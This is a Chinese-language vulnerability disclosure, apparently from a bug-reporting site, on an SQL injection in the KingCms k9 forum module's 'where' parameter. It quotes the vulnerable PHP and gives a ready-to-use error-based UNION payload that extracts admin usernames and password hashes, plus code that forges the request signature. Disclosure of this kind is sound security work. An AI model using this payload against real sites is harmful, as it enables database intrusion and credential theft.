### 简要描述:
KingCms最新版(k9)注入2枚
### 详细说明:
朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520)
注入点:POST /apps/forum/index.php HTTP/1.1
当POST的参数cmd分别为topic和board时,会有两个地方存在注入,这里以cmd为topic为例进行说明
注入参数:where 问题文件在/apps/forum/index.php
```
function _create(){
$u=new user;$u->auth_role('forum_create');
$db=new db;
$where=kc_get('where',0,1);
$pid=kc_get('pid',2,1);
$rn=kc_get('rn',2,1);
$limit=($rn*($pid-1)).','.$rn.';';
$cmd=kc_get('cmd',array('board','topic'));
$pcount=kc_get('pcount',2,1);
$start=$rn*$pid>$pcount?$pcount:$rn*$pid;
$file=new file;
if($cmd=='topic'){
$res=$db->getRows('%s_forum_topic','*',$where,'',$limit);
foreach($res as $rs){
//process file to rela path
$rs['TEMPLATE']='forum/topic/'.$rs['template'];
$file->create($rs['url'],$rs,'apps/forum/_topic.php');
}
}else{
$res=$db->getRows('%s_forum_board','*',$where,'',$limit);
foreach($res as $rs){
$rs['TEMPLATE']='forum/board/'.$rs['template'];
$file->create($rs['url'],$rs);
}
}
$js="\$.kc_progress('#progress_{$cmd}',{$start},{$pcount});";
$js.=$start==$pcount ? "\$('.Submit').removeAttr('disabled');":"\$.kc_ajax({URL:'".FULLURL."apps/forum/index.php',CMD:'create',cmd:'$cmd',where:'$where',pid:".($pid+1).",rn:{$rn},pcount:{$pcount}});";
kc_ajax(array('JS'=>$js));
}
$_POST['where']没有经过处理就进入了$db->getRows,去看看$db->getRows
public function getRows($table,$insql='*',$where=null,$order=null,$limit=null,$group=null) {
$table=str_replace('%s',DB_PRE,$table);
$sql="SELECT $insql FROM $table ";
$sql.= empty($where) ? '' : " WHERE $where";
$sql.= empty($group) ? '' : " GROUP BY $group";
$sql.= empty($order) ? '' : " ORDER BY $order";
$sql.= empty($limit) ? '' : " LIMIT $limit";
return $this->get($sql);
}
```
在执行sql语句之前,也没有过滤,这里就造成了注入。
Kingcms可以报错,因此
Payload:
```
jsoncallback=1&_=11&URL=http%3A%2F%2Flocalhost%2Fapps%2Fcontent%2Fcategroy.php&CMD=create&TID=1&AJAX=1&USERID=10000&SIGN=89ee81f5f1f328f555ceb7e7655d9f2f&pid=2&rn=2&cmd=topic&pcount=1&where=0 UNION SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,userpass)FROM king_user LIMIT 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a%23
```
POST中的一个参数POST[‘SIGN’]的计算如下
```
<?php
$str="10000";//10000即POST参数中的USERID
$str.="kingcms.com";//网站域名
$SIGN=md5($str);
?>
```
注入成功,见下图
[<img src="https://images.seebug.org/upload/201503/112351005d2391ca202b5508bf6b235a944ccbc3.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/112351005d2391ca202b5508bf6b235a944ccbc3.jpg)
### 漏洞证明:
见 详细说明
暂无评论